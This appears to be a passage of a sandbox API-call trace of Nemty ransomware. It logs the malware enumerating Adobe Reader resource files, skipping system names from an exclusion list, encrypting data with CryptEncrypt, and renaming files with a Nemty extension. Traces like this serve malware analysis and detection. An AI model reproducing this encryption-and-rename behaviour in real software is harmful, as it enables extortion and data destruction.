1 [0212.172] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\UniGB-UTF16-H" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\unigb-utf16-h"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\UniGB-UTF16-H._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\unigb-utf16-h._nemty_kgobjgd_")) returned 0 [0212.172] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634bc60 | out: hHeap=0x4f90000) returned 1 [0212.172] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0212.172] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0212.172] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0212.173] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0212.173] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0212.173] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0212.173] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346df8 | out: hHeap=0x4f90000) returned 1 [0212.173] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8007f260, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xca2, dwReserved0=0x0, dwReserved1=0x0, cFileName="UniGB-UTF16-V", cAlternateFileName="UNIGB-~3")) returned 1 [0212.173] lstrcmpiW (lpString1="UniGB-UTF16-V", lpString2=".") returned 1 [0212.173] lstrcmpiW (lpString1="UniGB-UTF16-V", lpString2="..") returned 1 [0212.173] lstrcmpiW (lpString1="UniGB-UTF16-V", lpString2="...") returned 1 [0212.173] lstrcmpiW (lpString1="UniGB-UTF16-V", lpString2="windows") returned -1 [0212.173] lstrcmpiW (lpString1="UniGB-UTF16-V", lpString2="$RECYCLE.BIN") returned 1 [0212.173] lstrcmpiW (lpString1="UniGB-UTF16-V", lpString2="rsa") returned 1 [0212.173] lstrcmpiW (lpString1="UniGB-UTF16-V", lpString2="NTDETECT.COM") returned 1 [0212.173] lstrcmpiW (lpString1="UniGB-UTF16-V", lpString2="ntldr") returned 1 [0212.173] lstrcmpiW (lpString1="UniGB-UTF16-V", lpString2="MSDOS.SYS") returned 1 [0212.173] lstrcmpiW (lpString1="UniGB-UTF16-V", lpString2="IO.SYS") returned 1 [0212.173] lstrcmpiW (lpString1="UniGB-UTF16-V", lpString2="boot.ini") returned 1 [0212.173] lstrcmpiW (lpString1="UniGB-UTF16-V", lpString2="boot.ini") returned 1 [0212.173] lstrcmpiW (lpString1="UniGB-UTF16-V", lpString2="AUTOEXEC.BAT") returned 1 [0212.173] lstrcmpiW (lpString1="UniGB-UTF16-V", lpString2="ntuser.dat") returned 1 [0212.173] lstrcmpiW (lpString1="UniGB-UTF16-V", lpString2="desktop.ini") returned 1 [0212.173] lstrcmpiW (lpString1="UniGB-UTF16-V", lpString2="CONFIG.SYS") returned 1 [0212.173] lstrcmpiW (lpString1="UniGB-UTF16-V", lpString2="RECYCLER") returned 1 [0212.173] lstrcmpiW (lpString1="UniGB-UTF16-V", lpString2="BOOTSECT.BAK") returned 1 [0212.173] lstrcmpiW (lpString1="UniGB-UTF16-V", lpString2="bootmgr") returned 1 [0212.175] lstrcmpiW (lpString1="UniGB-UTF16-V", lpString2="programdata") returned 1 [0212.175] lstrcmpiW (lpString1="UniGB-UTF16-V", lpString2="appdata") returned 1 [0212.175] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0212.175] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="UniGB-UTF16-V", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0212.175] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="UniGB-UTF16-V", cchWideChar=13, lpMultiByteStr=0x653ebd0, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="UniGB-UTF16-V", lpUsedDefaultChar=0x0) returned 13 [0212.175] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0212.175] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="UniGB-UTF16-V", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0212.175] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="UniGB-UTF16-V", cchWideChar=13, lpMultiByteStr=0x653ebd0, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="UniGB-UTF16-V", lpUsedDefaultChar=0x0) returned 13 [0212.175] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0212.175] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0212.175] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0212.175] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="UniGB-UTF16-V", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0212.175] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="UniGB-UTF16-V", cchWideChar=13, lpMultiByteStr=0x653ec20, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="UniGB-UTF16-V", lpUsedDefaultChar=0x0) returned 13 [0212.175] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0212.175] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0212.175] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="UniGB-UTF16-V", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0212.175] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="UniGB-UTF16-V", cchWideChar=13, lpMultiByteStr=0x653ec58, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="UniGB-UTF16-V", lpUsedDefaultChar=0x0) returned 13 [0212.175] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0212.175] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346df8 [0212.175] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0212.175] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0212.175] Sleep (dwMilliseconds=0x5) [0212.209] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x321f1370, dwHighDateTime=0x1d561e8)) [0212.209] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x321f1370, dwHighDateTime=0x1d561e8)) [0212.209] GetLastError () returned 0x5 [0212.209] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0212.209] GetLastError () returned 0x5 [0212.209] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0212.209] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0212.209] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0212.209] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0212.209] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0212.209] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0212.209] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6349050 [0212.209] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6349050, pcchString=0x653e91c | out: pszString="o2wxp3L9k00G2DEZlQDV2KfSIFkECDREN9THT8f55XyHAFyLkTUTwJ0IhLDwG+PW\r\n9bzzsp+dxCIi5rRAHoYymorzpqV/+A3QlsRNIP4WySHaD1M94K2CmW6bSlCX6m0Q\r\nISwXm4C6hphPepbd90c9cAHUzlXmdDdsIkEbVORqywIBHzvGR0mmrbbvkHmYT8m5\r\nfHoLjsjRuqPcRHXsDMSWWAhsi3spcZ3MN3UpV2h5vr+0ihTpEuw6qbq2xcRCWXlv\r\n8S49/uC6cV4xSLFJHrHZ8BpHV/jOHSKODHh49PokLWPrV/h/TFR2xO1WOsBGtFGT\r\n/5eCeNKqtucLafms8xbZzA==\r\n", pcchString=0x653e91c) returned 1 [0212.209] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0212.209] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0212.209] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0212.209] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0212.209] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6349050 [0212.209] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0212.209] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\UniGB-UTF16-V" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\unigb-utf16-v"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0212.210] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0212.210] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6352c48 [0212.210] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0212.210] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0212.219] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0212.219] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0212.219] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0212.219] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0212.228] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0212.228] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0212.229] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0212.229] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0212.238] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0212.238] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0212.238] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0212.238] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0212.248] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0212.248] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0212.248] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0212.248] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0212.261] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0212.261] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0212.261] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0212.261] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0212.271] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0212.271] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0212.271] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0212.271] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0212.280] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0212.280] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0212.280] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0212.280] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0212.290] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0212.290] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0212.290] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0212.290] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0212.299] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0212.299] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0212.299] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0212.300] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0212.309] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0212.309] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0212.309] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0212.309] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0212.315] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0212.315] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0212.315] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0212.315] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0212.324] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0212.324] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0212.324] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0212.324] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6349050, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0212.324] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0212.324] CloseHandle (hObject=0xffffffff) returned 0 [0212.324] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0212.324] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0212.324] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0212.324] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0212.324] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0212.324] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0212.324] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0212.324] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd6) returned 0x634bc60 [0212.324] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0212.324] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0212.324] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\UniGB-UTF16-V" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\unigb-utf16-v"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\UniGB-UTF16-V._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\unigb-utf16-v._nemty_kgobjgd_")) returned 0 [0212.324] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634bc60 | out: hHeap=0x4f90000) returned 1 [0212.324] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0212.324] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0212.324] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0212.324] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0212.324] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0212.325] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0212.325] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0212.325] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fab1cc0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2b580, dwReserved0=0x0, dwReserved1=0x0, cFileName="UniJIS-UCS2-H", cAlternateFileName="UNIJIS~1")) returned 1 [0212.325] lstrcmpiW (lpString1="UniJIS-UCS2-H", lpString2=".") returned 1 [0212.325] lstrcmpiW (lpString1="UniJIS-UCS2-H", lpString2="..") returned 1 [0212.325] lstrcmpiW (lpString1="UniJIS-UCS2-H", lpString2="...") returned 1 [0212.325] lstrcmpiW (lpString1="UniJIS-UCS2-H", lpString2="windows") returned -1 [0212.325] lstrcmpiW (lpString1="UniJIS-UCS2-H", lpString2="$RECYCLE.BIN") returned 1 [0212.325] lstrcmpiW (lpString1="UniJIS-UCS2-H", lpString2="rsa") returned 1 [0212.325] lstrcmpiW (lpString1="UniJIS-UCS2-H", lpString2="NTDETECT.COM") returned 1 [0212.325] lstrcmpiW (lpString1="UniJIS-UCS2-H", lpString2="ntldr") returned 1 [0212.325] lstrcmpiW (lpString1="UniJIS-UCS2-H", lpString2="MSDOS.SYS") returned 1 [0212.325] lstrcmpiW (lpString1="UniJIS-UCS2-H", lpString2="IO.SYS") returned 1 [0212.325] lstrcmpiW (lpString1="UniJIS-UCS2-H", lpString2="boot.ini") returned 1 [0212.325] lstrcmpiW (lpString1="UniJIS-UCS2-H", lpString2="boot.ini") returned 1 [0212.325] lstrcmpiW (lpString1="UniJIS-UCS2-H", lpString2="AUTOEXEC.BAT") returned 1 [0212.325] lstrcmpiW (lpString1="UniJIS-UCS2-H", lpString2="ntuser.dat") returned 1 [0212.325] lstrcmpiW (lpString1="UniJIS-UCS2-H", 